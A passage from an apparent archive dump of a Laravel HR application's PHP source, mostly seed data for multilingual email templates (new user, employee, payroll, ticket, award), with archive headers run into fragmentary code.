mas não se limita a, informações relativas à organização, suas listas de clientes, políticas de emprego, pessoal, e informações sobre os produtos da Companhia, processos incluindo ideias, conceitos, projeções, tecnologia, manuais, desenho, desenhos, 

especificações, e todos os papéis, currículos, registros e outros documentos que contenham tais Informações Confidenciais.

11,3 Em nenhum momento, você removerá quaisquer Informações Confidenciais do escritório sem permissão.

11,4 O seu dever de salvaguardar e não os desclos

Informações Confidenciais sobreviverão à expiração ou à rescisão deste Contrato e / ou do seu emprego com a Companhia.

11,5 Violação das condições desta cláusula irá torná-lo sujeito a demissão sumária sob a cláusula acima, além de qualquer outro remédio que a Companhia possa ter contra você em lei.

12. Notices

Os avisos podem ser conferidos por você à Empresa em seu endereço de escritório registrado. Os avisos podem ser conferidos pela Companhia a você no endereço intimado por você nos registros oficiais.

13. Aplicabilidade da Política da Empresa

A Companhia tem direito a fazer declarações de política de tempos em tempos relativos a matérias como licença de licença, maternidade

sair, benefícios dos empregados, horas de trabalho, políticas de transferência, etc., e pode alterar o mesmo de vez em quando a seu exclusivo critério.

Todas essas decisões de política da Companhia devem ser vinculativas para si e substituirão este Acordo nessa medida.

14. Direito / Jurisdição

Seu emprego com a Companhia está sujeito às leis do País. Todas as disputas estão sujeitas à jurisdição do Tribunal Superior

Gujarat apenas.

15. Aceitação da nossa oferta

Por favor, confirme sua aceitação deste Contrato de Emprego assinando e retornando a cópia duplicada.

Nós acolhemos você e estamos ansiosos para receber sua aceitação e para trabalhar com você.

Seu Sinceramente,

{app_name}

{data}

', ]; foreach($defaultTemplate as $lang => $content) { JoiningLetter::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => $user_id, ] ); } } } Models/JobStage.php000064400000001330150364306410010175 0ustar00creatorId())->where('is_archive', 0)->where('stage', $this->id); $application->where('created_at', '>=', $filter['start_date']); $application->where('created_at', '<=', $filter['end_date']); if (!empty($filter['job'])) { $application->where('job', $filter['job']); } $application = $application->orderBy('order')->get(); return $application; } } Models/User.php000064400000700467150364306410007436 0ustar00 'datetime', ]; public static function defaultEmail() { // Email Template $emailTemplate = [ 'New User', 'New Employee', 'New Payroll', 'New Ticket', 'New Award', 'Employee Transfer', 'Employee Resignation', 'Employee Trip', 'Employee Promotion', 'Employee Complaints', 'Employee Warning', 'Employee Termination', 'Leave Status', 'Contract', ]; foreach ($emailTemplate as $eTemp) { EmailTemplate::create( [ 'name' => $eTemp, 'slug' => strtolower(str_replace(' ', '_', $eTemp)), 'created_by' => 1, ] ); } $defaultTemplate = [ 'new_user' => [ 'subject' => 'New User', 'lang' => [ 'ar' => '

مرحبا,

مرحبا بك في { app_name }.

.. أنت الآن مستعمل

البريد الالكتروني : { mail } كلمة السرية : { password }

{ app_url }

شكرا

{ app_name }

', 'da' => '

Hej,

velkommen til { app_name }.

Du er nu bruger ..

E-mail: { email }

kodeord: { password }

{ app_url }

Tak.

{ app_name }

', 'de' => '

Hallo,

Willkommen bei {app_name}.

Sie sind jetzt Benutzer.

E-Mail: {email}

Kennwort: {password}

{app_url}

Danke,

{app_name}

', 'en' => '

Hello, 
Welcome to {app_name}.

You are now user..

Email : {email}
Password : {password}

{app_url}

Thanks,
{app_name}

', 'es' => '

Hola,

Bienvenido a {app_name}.

Ahora es usuario ..

Correo electrónico: {email}

Contraseña: {password}

{app_url}

Gracias,

{app_name}

', 'fr' => '

Bonjour,

Bienvenue dans { app_name }.

Vous êtes maintenant utilisateur.

E-mail: { email }

Mot de passe: { password }

{ adresse_url }

Merci,

{ nom_app }

', 'it' => '

Ciao,

Benvenuti in {app_name}.

Ora sei utente ..

Email: {email}

Password: {password}

{app_url}

Grazie,

{app_name}

', 'ja' => '

こんにちは、

{app_name}へようこそ。

これで、ユーザーは

E メール : {email}

パスワード : {password}

{app_url}

ありがとう。

{app_name}

', 'nl' => '

Hallo,

Welkom bij { app_name }.

U bent nu gebruiker ..

E-mail: { email }

Wachtwoord: { password }

{ app_url }

Bedankt.

{ app_name }

', 'pl' => '

Witaj,

Witamy w aplikacji {app_name }.

Jesteś teraz użytkownikiem ..

E-mail: {email }

Hasło: {password }

{app_url }

Dziękuję,

{app_name }

', 'ru' => '

Здравствуйте,

Добро пожаловать в { app_name }.

Вы теперь пользователь ..

Адрес электронной почты: { email }

Пароль: { password }

{ app_url }

Спасибо.

{ app_name }

', 'pt' => '

Olá,

Bem-vindo a {app_name}.

Você agora é usuário ..

E-mail: {email}

Senha: {senha}

{app_url}

Obrigado,

{app_name}

', 'tr' => '

Merhaba, 
Hoşgeldiniz {app_name}.

artık kullanıcısın..

E-posta : {email}
Şifre : {password}

{app_url}

Teşekkürler,
{app_name}

', 'zh' => '

你好, 
欢迎来到 {app_name}.

您现在是用户..

电子邮件 : {email}
密码 : {password}

{app_url}

谢谢,
{app_name}

', 'he' => '

שלום, 
ברוך הבא ל {app_name}.

אתה כעת משתמש..

אימייל : {email}
סיסמה : {password}

{app_url}

תודה,
{app_name}

', 'pt-br' => '

Olá,

Bem-vindo a {app_name}.

Você agora é usuário ..

E-mail: {email}

Senha: {senha}

{app_url}

Obrigado,

{app_name}

', ], ], 'new_employee' => [ 'subject' => 'New Employee', 'lang' => [ 'ar' => '

مرحبا { employe_name } ،

مرحبا بك في { app_name }.

أنت الآن موظف

البريد الالكتروني : { employe_email }

كلمة السرية : { employe_password }

{ app_url }

شكرا

{ app_name }

', 'da' => '

Hej { employee_name },

velkommen til { app_name }.

Du er nu ansat ...

E-mail: { employee_email }

Kodeord: { employee_kodeord }

{ app_url }

Tak.

{ app_name }

', 'de' => '

Hello {employee_name},

Willkommen bei {app_name}.

Sie sind jetzt Mitarbeiter.

E-Mail: {employee_email}

Kennwort: {employee_password}

{app_url}

Danke,

{app_name}

', 'en' => '

Hello {employee_name}, 
Welcome to {app_name}.

You are now Employee..

Email : {employee_email}

Password : {employee_password}

{app_url}

Thanks,
{app_name}

', 'es' => '

Hello {employee_name},

Bienvenido a {app_name}.

Ahora es Empleado.

Correo electrónico: {employee_email}

Contraseña: {employee_password}

{app_url}

Gracias,

{app_name}

', 'fr' => '

Hello { employee_name },

Bienvenue dans { app_name }.

Vous êtes maintenant Employé ..

Adresse électronique: { employee_email }

Mot de passe: { employee_password }

{ adresse_url }

Merci,

{ nom_app }

', 'it' => '

Hello {employee_name},

Benvenuti in {app_name}.

Ora sei Dipendente ..

Email: {employee_email}

Password: {employee_password}

{app_url}

Grazie,

{app_name}

', 'ja' => '

{ employee_name} にようこそ、

{app_name}へようこそ。

今は従業員です。

E メール : {employee_email}

パスワード : {employee_password}

{app_url}

ありがとう。

{app_name}

', 'nl' => '

Hallo { employee_name },

Welkom bij { app_name }.

U bent nu werknemer ..

E-mail: { employee_email }

Wachtwoord: { employee_password }

{ app_url }

Bedankt.

{ app_name }

', 'pl' => '

Witaj {employee_name },

Witamy w aplikacji {app_name }.

Jesteś teraz Pracownik ..

E-mail: {employee_email }

Hasło: {employee_password }

{app_url }

Dziękuję,

{app_name }

', 'ru' => '

Здравствуйте, { employee_name },

Добро пожаловать в { app_name }.

Вы теперь-сотрудник ...

Электронная почта: { employee_email }

Пароль: { employee_password }

{ app_url }

Спасибо.

{ имя_программы }

', 'pt' => '

Olá {employee_name},

Bem-vindo a {app_name}.

Você é agora Funcionário ..

E-mail: {employee_email}

Senha: {employee_password}

{app_url}

Obrigado,

{app_name}

', 'tr' => '

Merhaba {employee_name}, 
Hoşgeldiniz {app_name}.

Artık Çalışansın..

E-posta : {employee_email}

Şifre : {employee_password}

{app_url}

Teşekkürler,
{app_name}

', 'zh' => '

你好 {employee_name}, 
欢迎来到 {app_name}.

您现在是员工..

电子邮件 : {employee_email}

密码 : {employee_password}

{app_url}

谢谢,
{app_name}

', 'he' => '

שלום {employee_name}, 
ברוך הבא ל {app_name}.

אתה עכשיו עובד..

אימייל : {employee_email}

סיסמה : {employee_password}

{app_url}

תודה,
{app_name}

', 'pt-br' => '

Olá {employee_name},

Bem-vindo a {app_name}.

Você é agora Funcionário ..

E-mail: {employee_email}

Senha: {employee_password}

{app_url}

Obrigado,

{app_name}

', ], ], 'new_payroll' => [ 'subject' => 'New Payroll', 'lang' => [ 'ar' => '

Subject :-إدارة الموارد البشرية / الشركة المعنية بإرسال المدفوعات عن طريق البريد الإلكتروني في وقت تأكيد الدفع.

مرحبا { name } ،

أتمنى أن يجدك هذا البريد الإلكتروني جيدا برجاء الرجوع الى الدفع المتصل الى { salary_month }.

اضغط ببساطة على الاختيار بأسفل

كشوف المرتبات

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-departementet / Kompagniet til at sende lønsedler via e-mail på tidspunktet for bekræftelsen af lønsedlerne

Hej { name },

Håber denne e-mail finder dig godt! Se vedhæftet payseddel for { salary_month }.

klik bare på knappen nedenfor

Lønseddel

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betrifft: -Personalabteilung/Firma, um Payslips per E-Mail zum Zeitpunkt der Bestätigung des Auszahlungsscheins zu senden

Hi {name},

Hoffe, diese E-Mail findet dich gut! Bitte sehen Sie den angehängten payslip für {salary_month}.

Klicken Sie einfach auf den Button unten

Payslip

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send payslips by email at time of confirmation of payslip

Hi {name},

Hope this email finds you well! Please see attached payslip for {salary_month}.

simply click on the button below

Payslip

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar nóminas por correo electrónico en el momento de la confirmación del pago

Hi {name},

¡Espero que este email le encuentre bien! Consulte la ficha de pago adjunta para {salary_month}.

simplemente haga clic en el botón de abajo

Payslip

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Ressources humaines / Entreprise pour envoyer des feuillets de paie par courriel au moment de la confirmation du paiement

Salut { name },

Jespère que ce courriel vous trouve bien ! Veuillez consulter le bordereau de paie ci-joint pour { salary_month }.

Il suffit de cliquer sur le bouton ci-dessous

Feuillet de paiement

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare busta paga via email al momento della conferma della busta paga

Ciao {name},

Spero che questa email ti trovi bene! Si prega di consultare la busta paga per {salary_month}.

semplicemente clicca sul pulsante sottostante

Busta paga

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は、給与明細書の確認時に電子メールで支払いを送信します。

こんにちは {name}、

この E メールでよくご確認ください。 {salary_month}の添付された payslip を参照してください。

下のボタンをクリックするだけで

給与明細書

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf om te betalen payslips per e-mail op het moment van bevestiging van de payslip

Hallo { name },

Hoop dat deze e-mail je goed vindt! Zie bijgevoegde payslip voor { salary_month }.

gewoon klikken op de knop hieronder

Loonstrook

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłania payslipów drogą mailową w czasie potwierdzania payslipa

Witaj {name },

Mam nadzieję, że ta wiadomość znajdzie Cię dobrze! Patrz załączony payslip dla {salary_month }.

po prostu kliknij na przycisk poniżej

Payslip

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки паузу по электронной почте во время подтверждения паузли

Привет { name },

Надеюсь, это электронное письмо найдет вас хорошо! См. вложенный раздел для { salary_month }.

просто нажмите на кнопку внизу

Паушлип

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar payslips por e-mail no momento da confirmação do payslip

Oi {name},

Espero que este e-mail encontre você bem! Por favor, consulte o payslip anexado por {salary_month}.

basta clicar no botão abaixo

Payslip

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket, maaş bordrosunun onaylanması sırasında e-posta ile maaş bordrolarını gönderecek

Merhaba { name },

Umarım bu e-posta sizi iyi bulur! Lütfen ekteki maaş bordrosuna bakınız { salary_month }.

sadece aşağıdaki butona tıklayın

maaş bordrosu

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim.

Saygılarımızla,

İK Departmanı,

{ app_name }

', 'zh' => '

主题:-人力资源部门/公司将在工资审批期间通过电子邮件发送工资单

你好 { name },

我希望你能收到这封电子邮件!请参阅随附的工资单 { salary_month }.

只需点击下面的按钮

工资单

如果您有任何疑问,请随时与我们联系.

谢谢.

问候,

人事部,

{ app_name }

', 'he' => '

נושא:- משאבי אנוש/חברה ישלחו באימייל תלוש שכר במהלך אישור השכר

שלום { name },

אני מקווה שתקבל את המייל הזה! נא ראה תלוש שכר מצורף { salary_month }.

פשוט לחץ על הכפתור למטה

גִלְיוֹן שָׂכָר

אם יש לך שאלות, אנא אל תהסס לפנות אלינו.

תודה.

בְּרָכָה,

מחלקת כוח אדם,

{ app_name }

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar payslips por e-mail no momento da confirmação do payslip

Oi {name},

Espero que este e-mail encontre você bem! Por favor, consulte o payslip anexado por {salary_month}.

basta clicar no botão abaixo

Payslip

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'new_ticket' => [ 'subject' => 'New Ticket', 'lang' => [ 'ar' => '

Subject : -HR ادارة / شركة لارسال ticket ل ـ { ticket_title }

مرحبا { ticket_name }

آمل أن يقوم هذا البريد الالكتروني بايجادك جيدا ! ، كود التذكرة الخاص بك هو { ticket_code }.

{ ticket_description } ،

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Emne:-HR-afdeling / Kompagni til at sende ticket for { ticket_title }

Hej { ticket_name },

Håber denne e-mail finder dig godt, din ticket-kode er { ticket_code }.

{ ticket_description },

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Firma zum Senden von Ticket für {ticket_title}

Hi {ticket_name},

Hoffen Sie, diese E-Mail findet Sie gut!, Ihr Ticketcode ist {ticket_code}.

{ticket_description},

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send ticket for {ticket_title}

Hi {ticket_name},

Hope this email finds you well! , Your ticket code is {ticket_code}.


{ticket_description},

Feel free to reach out if you have any questions.


Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RR.HH./Empresa para enviar el ticket de {ticket_title}

Hi {ticket_name},

¡Espero que este correo electrónico te encuentre bien!, Tu código de entrada es {ticket_code}.

{ticket_description},

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -HR department / Company to send ticket for { ticket_title }

Hi { ticket_name },

Hope this email vous trouve bien !, Votre code de ticket est { ticket_code }.

{ ticket_description },

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare ticket per {ticket_title}

Ciao {ticket_name},

Spero che questa email ti trovi bene!, Il tuo codice del biglietto è {ticket_code}.

{ticket_description},

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は、 {ticket_title} のチケットを送信します

こんにちは {ticket_name}

この E メールが適切に検出されることを希望しています。チケット・コードは {ticket_code}です。

{ticket_description }

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor het verzenden van ticket voor { ticket_title }

Hallo { ticket_name },

Hoop dat deze e-mail u goed vindt!, Uw ticket code is { ticket_code }.

{ ticket_description},

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłki biletu dla {ticket_title }

Witaj {ticket_name },

Mam nadzieję, że ta wiadomość e-mail znajduje się dobrze!, Twój kod zgłoszenia to {ticket_code }.

{ticket_description },

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки билета для { ticket_title }

Hi { ticket_name },

Надеюсь, что это письмо найдет вас хорошо!, Ваш код паспорта-{ ticket_code }.

{ ticket_description },

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar ingresso para {ticket_title}

Oi {ticket_name},

Espero que este e-mail te encontre bem!, Seu código de bilhete é {ticket_code}.

{ticket_description},

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-Bilet gönderilecek İK departmanı/Şirket {ticket_title}

MERHABA {ticket_name},

Umarım bu e-posta sizi iyi bulur! , Bilet kodunuz {ticket_code}.


{ticket_description},

Herhangi bir sorunuz varsa çekinmeden bize ulaşın.


Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-向其发送票据的人力资源部门/公司 {ticket_title}

你好 {ticket_name},

希望这封电子邮件能让您满意! , 您的机票代码是 {ticket_code}.


{ticket_description},

如果您有任何疑问,请随时与我们联系.


谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשליחת כרטיס עבורה {ticket_title}

היי {ticket_name},

מקווה שהמייל הזה ימצא אותך טוב! , קוד הכרטיס שלך הוא {ticket_code}.


{ticket_description},

אל תהסס לפנות אם יש לך שאלות.


תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar ingresso para {ticket_title}

Oi {ticket_name},

Espero que este e-mail te encontre bem!, Seu código de bilhete é {ticket_code}.

{ticket_description},

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'new_award' => [ 'subject' => 'New Award', 'lang' => [ 'ar' => '

Subject :-إدارة الموارد البشرية / الشركة المعنية بإرسال خطاب تحكيم للاعتراف بموظف

مرحبا { award_name },

ويسرني كثيرا أن أرشحها { award_name }

وإنني مقتنع بأن (هي / هي) هي أفضل موظفة للحصول على الجائزة. وقد أدركت أنها شخصية موجهة نحو تحقيق الأهداف ، وتتسم بالكفاءة والفعالية في التقيد بالمواعيد. إنها دائما على استعداد لمشاركة معرفتها بالتفاصيل

وبالإضافة إلى ذلك ، قامت (هي / هي) أحيانا بحل النزاعات والحالات الصعبة خلال ساعات العمل. (هي / هي) حصلت على بعض الجوائز من المنظمة غير الحكومية داخل البلد ؛ وكان ذلك بسبب المشاركة في أنشطة خيرية لمساعدة المحتاجين.

وأعتقد أن هذه الصفات والصفات يجب أن تكون موضع تقدير. ولذلك ، فإن (هي / هي) تستحق أن تمنحها الجائزة بالتالي.

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-afdelingen / Kompagniet for at sende prisuddeling for at kunne genkende en medarbejder

Hej { award_name },

Jeg er meget glad for at nominere {award_name }

Jeg er tilfreds med, at (hun) er den bedste medarbejder for prisen. Jeg har indset, at hun er en målbevidst person, effektiv og meget punktlig. Hun er altid klar til at dele sin viden om detaljer.

Desuden har (he/she) lejlighedsvist løst konflikter og vanskelige situationer inden for arbejdstiden. (/hun) har modtaget nogle priser fra den ikkestatslige organisation i landet. Dette skyldes, at der skal være en del i velgørenhedsaktiviteter for at hjælpe de trængende.

Jeg mener, at disse kvaliteter og egenskaber skal værdsætte. Derfor fortjener denne pris, at hun nominerer hende.

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betrifft: -Personalabteilung/Firma zum Versenden von Prämienschreiben, um einen Mitarbeiter zu erkennen

Hi {award_name},

Ich freue mich sehr, {award_name} zu nominieren.

Ich bin zufrieden, dass (he/she) der beste Mitarbeiter für die Auszeichnung ist. Ich habe erkannt, dass sie eine gottorientierte Person ist, effizient und sehr pünktlich. Sie ist immer bereit, ihr Wissen über Details zu teilen.

Darüber hinaus hat (he/she) gelegentlich Konflikte und schwierige Situationen innerhalb der Arbeitszeiten gelöst. (he/she) hat einige Auszeichnungen von der Nichtregierungsorganisation innerhalb des Landes erhalten; dies war wegen der Teilnahme an Wohltätigkeitsaktivitäten, um den Bedürftigen zu helfen.

Ich glaube, diese Eigenschaften und Eigenschaften müssen gewürdigt werden. Daher verdient (he/she) die Auszeichnung, die sie deshalb nominiert.

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send award letter to recognize an employee

Hi {award_name},

I am much pleased to nominate {award_name}

I am satisfied that (he/she) is the best employee for the award. I have realized that she is a goal-oriented person, efficient and very punctual. She is always ready to share her knowledge of details.

Additionally, (he/she) has occasionally solved conflicts and difficult situations within working hours. (he/she) has received some awards from the non-governmental organization within the country; this was because of taking part in charity activities to help the needy.

I believe these qualities and characteristics need to be appreciated. Therefore, (he/she) deserves the award hence nominating her.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de premios para reconocer a un empleado

Hi {award_name},

Estoy muy satisfecho de nominar {award_name}

Estoy satisfecho de que (ella) sea el mejor empleado para el premio. Me he dado cuenta de que es una persona orientada al objetivo, eficiente y muy puntual. Ella siempre está lista para compartir su conocimiento de los detalles.

Adicionalmente, (he/ella) ocasionalmente ha resuelto conflictos y situaciones difíciles dentro de las horas de trabajo. (h/ella) ha recibido algunos premios de la organización no gubernamental dentro del país; esto fue debido a participar en actividades de caridad para ayudar a los necesitados.

Creo que estas cualidades y características deben ser apreciadas. Por lo tanto, (h/ella) merece el premio por lo tanto nominarla.

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Ministère des RH / Société denvoi dune lettre dattribution pour reconnaître un employé

Hi { award_name },

Je suis très heureux de nommer { award_name }

Je suis convaincu que (he/elle) est le meilleur employé pour ce prix. Jai réalisé quelle est une personne orientée vers lobjectif, efficace et très ponctuelle. Elle est toujours prête à partager sa connaissance des détails.

De plus, (he/elle) a parfois résolu des conflits et des situations difficiles dans les heures de travail. (he/elle) a reçu des prix de lorganisation non gouvernementale à lintérieur du pays, parce quelle a participé à des activités de bienfaisance pour aider les nécessiteux.

Je crois que ces qualités et ces caractéristiques doivent être appréciées. Par conséquent, (he/elle) mérite le prix donc nominé.

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di premiazione per riconoscere un dipendente

Ciao {award_name},

Sono molto lieto di nominare {award_name}

Sono soddisfatto che (he/lei) sia il miglior dipendente per il premio. Ho capito che è una persona orientata al goal-oriented, efficiente e molto puntuale. È sempre pronta a condividere la sua conoscenza dei dettagli.

Inoltre, (he/lei) ha occasionalmente risolto conflitti e situazioni difficili allinterno delle ore di lavoro. (he/lei) ha ricevuto alcuni premi dallorganizzazione non governativa allinterno del paese; questo perché di prendere parte alle attività di beneficenza per aiutare i bisognosi.

Credo che queste qualità e caratteristiche debbano essere apprezzate. Pertanto, (he/lei) merita il premio da qui la nomina.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名: 従業員を認識するための表彰書を送信するための、人事部門/ 会社

やあ {award_name }

{award_name }をノミネートしたいと考えています。

私は ( 彼女が ) 賞のための最高の従業員だと満足している。 私は彼女が、自分が目標指向の人間であり、効率的で、非常に時間厳守であることに気付きました。 彼女はいつも詳細についての知識を共有する準備ができている。

また、時には労働時間内に紛争や困難な状況を解決することがある。 ( 彼女は ) 国内の非政府組織からいくつかの賞を受賞している。このことは、慈善活動に参加して、貧窮者を助けるためのものだった。

これらの特性と特徴を評価する必要があると思います。 そのため、 ( 相続人は ) 賞に値するので彼女を指名することになる。

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf om een gunningsbrief te sturen om een werknemer te herkennen

Hallo { award_name },

Ik ben erg blij om { award_name } te nomineren

Ik ben tevreden dat (he/zij) de beste werknemer voor de prijs is. Ik heb me gerealiseerd dat ze een doelgericht persoon is, efficiënt en punctueel. Ze is altijd klaar om haar kennis van details te delen.

Daarnaast heeft (he/she) af en toe conflicten en moeilijke situaties binnen de werkuren opgelost. (he/zij) heeft een aantal prijzen ontvangen van de niet-gouvernementele organisatie binnen het land; dit was vanwege het deelnemen aan liefdadigheidsactiviteiten om de behoeftigen te helpen.

Ik ben van mening dat deze kwaliteiten en eigenschappen moeten worden gewaardeerd. Daarom, (he/she) verdient de award dus nomineren haar.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłania listów wyróżnienia do rozpoznania pracownika

Witaj {award_name },

Jestem bardzo zadowolony z nominacji {award_name }

Jestem zadowolony, że (he/she) jest najlepszym pracownikiem do nagrody. Zdałem sobie sprawę, że jest osobą zorientowaną na goły, sprawną i bardzo punktualną. Zawsze jest gotowa podzielić się swoją wiedzą na temat szczegółów.

Dodatkowo, (he/she) od czasu do czasu rozwiązuje konflikty i trudne sytuacje w godzinach pracy. (he/she) otrzymała kilka nagród od organizacji pozarządowej w obrębie kraju; to z powodu wzięcia udziału w akcji charytatywnych, aby pomóc potrzebującym.

Uważam, że te cechy i cechy muszą być docenione. Dlatego też, (he/she) zasługuje na nagrodę, stąd nominowanie jej.

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания отправить награда письмо о признании сотрудника

Здравствуйте, { award_name },

Мне очень приятно номинировать { award_name }

Я удовлетворена тем, что (х/она) является лучшим работником премии. Я понял, что она ориентированная на цель человек, эффективная и очень пунктуальная. Она всегда готова поделиться своими знаниями о деталях.

Кроме того, время от времени решались конфликты и сложные ситуации в рабочее время. (она) получила некоторые награды от неправительственной организации в стране; это было связано с тем, что они приняли участие в благотворительной деятельности, чтобы помочь нуждающимся.

Я считаю, что эти качества и характеристики заслуживают высокой оценки. Таким образом, она заслуживает того, чтобы наградить ее таким образом.

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de premiação para reconhecer um funcionário

Oi {award_name},

Estou muito satisfeito em nomear {award_name}

Estou satisfeito que (he/she) é o melhor funcionário para o prêmio. Eu percebi que ela é uma pessoa orientada a goal, eficiente e muito pontual. Ela está sempre pronta para compartilhar seu conhecimento de detalhes.

Adicionalmente, (he/she) tem, ocasionalmente, resolvido conflitos e situações difíceis dentro do horário de trabalho. (he/she) recebeu alguns prêmios da organização não governamental dentro do país; isso foi por ter participado de atividades de caridade para ajudar os necessitados.

Eu acredito que essas qualidades e características precisam ser apreciadas. Por isso, (he/she) merece o prêmio daí nomeando-a.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket, bir çalışanı takdir etmek için ödül mektubu gönderecek

MERHABA {award_name},

aday göstermekten çok memnunum {award_name}

(Onun) ödül için en iyi çalışan olduğuna memnunum. Hedef odaklı, verimli ve çok dakik biri olduğunu fark ettim. Ayrıntılarla ilgili bilgisini paylaşmaya her zaman hazırdır.

Ayrıca, (o) zaman zaman çalışma saatleri içinde çatışmaları ve zor durumları çözmüştür. (kendisi) yurt içinde sivil toplum kuruluşlarından bazı ödüller almıştır; bunun nedeni, muhtaçlara yardım etmek için hayır faaliyetlerinde yer almaktı.

Bu niteliklerin ve özelliklerin takdir edilmesi gerektiğine inanıyorum. Bu nedenle (o) ödülü hak ediyor ve onu aday gösteriyor.

Herhangi bir sorunuz varsa çekinmeden bize ulaşın.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部门/公司发送奖励信以表彰员工

你好 {award_name},

我很高兴能提名 {award_name}

我很满意(他/她)是获得该奖项的最佳员工。我发现她是一个目标明确的人,办事效率高,而且非常准时。她随时准备分享她的细节知识.

另外,偶尔也会在工作时间内解决一些矛盾和困难。 (他/她)获得过国内非政府组织颁发的一些奖项;这是因为参加了帮助有需要的人的慈善活动.

